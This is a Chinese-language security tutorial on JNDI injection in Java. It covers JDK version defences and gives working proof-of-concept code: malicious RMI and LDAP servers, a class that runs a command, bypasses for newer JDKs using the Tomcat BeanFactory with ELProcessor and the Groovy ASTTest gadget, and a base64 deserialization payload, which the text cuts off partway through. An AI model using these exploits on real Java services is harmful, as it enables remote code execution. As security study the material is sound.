什么是JNDI

JNDI(Java Naming and Directory Interface)Java命名和目录接口。调用JNDIAPI可以定位资源和其他程序对象

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作。其中值得一提的名称服务为LDAP,全称为Lightweight Directory Access Protocol,即轻量级目录访问协议

Bindings: 表示一个名称和对应对象的绑定关系,如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,可以在指定上下文中查找名称对应的对象。如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)
References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移

Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象

API

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI

image-20230508224813487

SPI (Service Provider Interface)服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: (Common Object Request Broker Architecture)通用对象请求代理架构,用于COS名称服务(Common Object Services)
image-20230509092929438

JNDI注入

JNDI 注入就是控制 lookup 函数的参数,使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用。是利用 Reference 类实现的,Reference 类表示对存在于命名/目录系统以外的对象的引用

image-20230509132708829

前提条件&JDK防御

要成功利用JNDI注入漏洞,重要前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。这里将所有不同版本JDK的防御都列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了

在进行JNDI注入之前,必须知道当前环境JDK版本,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件

以下环境均为8u65

JNDI_RMI

服务端JNDIService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:2333/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/refObj");
}
}

恶意类EvilObject.java

1
2
3
4
5
6
public class EvilObject {
public EvilObject() throws Exception {
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
}
}

将恶意类编译为Class文件,开启http服务

1
python  -m http.server 2333

启动服务端、客户端

image-20230509095847381

高版本

JDK 6u1327u1228u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值为false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类

image-20230509100246876

JDK_8u65

在低版本JDK_8u65下,在RegistryContext#decodeObject()方法会直接调用到NamingManager#getObjectInstance(),进而调用getObjectFactoryFromReference()方法来获取远程工厂类

image-20230509144922893

JDK_8u241

同样是在RegistryContext#decodeObject()方法,这里增加了对类型以及trustURLCodebase的检查

image-20230509191616161
绕过

如果要decodeObject中解码的对象(第一参数)是远程引用,就需要先解引用然后再调用NamingManager.getObjectInstance,其中会实例化对应的ObjectFactory类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序

因此为了绕过这里 ConfigurationException 的限制,我们有三种方法:令 ref 为空 or 令 ref.getFactoryClassLocation() 为空 or 令 trustURLCodebasetrue

方法一:令 ref 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable。即不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用

方法二:令 ref.getFactoryClassLocation() 返回空。即让ref对象的classFactoryLocation属性为空,这个属性表示引用所指向对象的对应factory名称,对于远程代码加载而言是codebase,即远程代码的URL地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键
方法三:即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数为true

分析一下法二:

看一下getFactoryClassLocation()方法,以及返回值的赋值情况

image-20230509224410115

image-20230509224537209

要满足方法二情况,需要在远程RMI服务器返回的 Reference 对象中不指定 Factorycodebase。接着看一下 javax.naming.spi.NamingManager 的解析过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

可以看到在处理 Reference 对象时,会先调用ref.getFactoryClassName()获取对应工厂类的名称,即先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求

之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要类实现javax.naming.spi.ObjectFactory接口
因此可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制,这种通过目标已有代码去实现任意代码执行的漏洞利用辅助类统称为 gadget
整个利用过程的主要调用栈如下:

1
2
3
4
5
6
7
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行
使用本地的Reference Factory类
  • Tomcat8

存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择
org.apache.naming.factory.BeanFactory ,这个类在 Tomcat 中,很多 web 应用都会包含,它的关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {

Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();

// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();

// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}

// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}

上面注释标注了关键的部分,可以通过在返回给客户端的 Reference 对象的 forceString 字段指定 setter 方法的别名,并在后续初始化过程中进行调用
forceString 的格式为 a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter 方法为等号后的值 foo,如果不包含等号,则 setter 方法为默认值 setBar
在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 (getContent)。因此可以调用任意指定类的任意方法,并指定单个可控的参数

因为使用 newInstance创建实例(也就是后面Poc中的ELProcessor),所以只能调用无参构造,这就要求目标 class 得有无参构造方法,上面 forceString 可以给属性强制指定一个 setter 方法,参数为一个 String 类型
于是找到 javax.el.ELProcessor 作为目标 class,利用 el 表达式执行命令,工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

image-20230510112041262

整个绕过流程就是:
为了绕过ConfigurationException,需要满足ref.getFactoryClassLocation() 为空,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factorycodebase
来到NamingManager,需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在其中一块代码能执行payload,找到了BeanFactory
BeanFactor使用newInstance创建实例,所以只能调用无参构造,这就要求目标 class 得有无参构造方法且有办法执行相关命令,于是找到ELProcessorGroovyShell
总结起来就是绕过了ConfigurationException,进入NamingManager,使用BeanFactor创建ELProcessor/GroovyShell无参实例,然后BeanFactor根据别名去调用方法(执行ELProcessor中的eval方法)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Bypass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.err.println("Server ready");
}
}

org.apache.naming.ResourceReftomcat 中表示某个资源的引用,其构造函数参数如下:

1
2
3
4
5
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation) {
//...
}

其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactoryx=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定弹计算器

用maven添加如下依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.20</version>
</dependency>

客户端

1
2
3
4
5
6
7
8
9
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/calc");
}
}

需要 Tomcat 8+SpringBoot 1.2.x+的环境。Server端启动上述PocClient端正常请求,弹出计算器

image-20230510112657445

源码分析

从获取到本地工厂类BeanFactory开始,调用BeanFactory#getObjectInstance()方法,看看BeanFactory都干了那些事情

image-20230510121942627

首先判断我们要从工厂生成的类是否是ResourceRef类的实例,接着实例化我们指定的javax.el.ELProcessor

forceString可以给属性强制指定一个setter方法,这里将属性xsetterName设置为了public java.lang.Object javax.el.ELProcessor.eval()

image-20230510135058540

接着传入x的setter的参数Runtime.getRuntime().exec("calc")。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))eval()会对EL表达式进行求值,进而命令执行

  • Groovy

在Groovy的官方文档(ASTest)中,可以发现的是,Groovy程序允许我们执行断言,也就意味着命令执行

@ASTTest是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest可以放置在任何可注释节点上

因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass,然后去解析Groovy脚本

工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

image-20230510153008910

传入的 ReferenceResourceRef 类,后面通过反射的方式实例化 Reference 所指向的任意 Bean Class,调用 setter 方法为所有的属性赋值,该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象。ResourceRef构造器的第七个参数factoryLocation是远程加载factory的地址,比如是一个url,这里将其设置为null,达到绕过ConfigurationException限制

添加maven依赖

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>

服务端RMI_Server_Bypass_Groovy.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_Bypass_Groovy {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n", "calc");
resourceRef.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
System.out.println("Registry运行中......");
}
}

JNDI_LDAP

我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制

下载导入unboundid-ldapsdk.jar

image-20230509152511505

或者添加maven依赖

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

服务端LDAPService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPService {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {
String url = "http://127.0.0.1:2333/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端LDAPClient.java

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:1234/EvilObject");
}
}

恶意类

1
2
3
4
5
6
public class EvilObject {
public EvilObject() throws Exception {
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
}
}

将恶意类编译为Class文件,开启http服务

1
python  -m http.server 2333

启动服务端、客户端

image-20230509135955198

高版本

JDK 11.0.18u1917u2016u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的默认值同样被修改为了false,对应的CVE编号为:CVE-2018-3149

绕过

在LDAP中,Java有多种方式进行数据存储

  • 序列化数据
  • JNDI Reference
  • Marshalled Object
  • Remote Location

同时LDAP也可以为存储的对象指定多种属性

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

如果LDAP存储的某个对象的javaSerializedData值不为空,则客户端会通过调用obj.decodeObject()对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过LDAP来传输恶意序列化对象

序列化数据触发Gadget

com.sun.jndi.ldap.Obj.java#decodeObject存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断,主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象
如果是序列化对象会调用deserializeObject方法

image-20230510224259988

进入deserializeObject方法,会进行readObject

image-20230510224227772

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LDAP_Server_ByPass_Serialize {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:2333/#EvilObject"};
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
//getObject获取Gadget
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
// "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHnQAA0NDNXQACENDNS5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4ALnNxAH4AJnVxAH4AKgAAAAJwcHQABmludm9rZXVxAH4ALgAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACpzcQB+ACZ1cQB+ACoAAAABdAAEY2FsY3QABGV4ZWN1cQB+AC4AAAABcQB+ADFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4"
"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+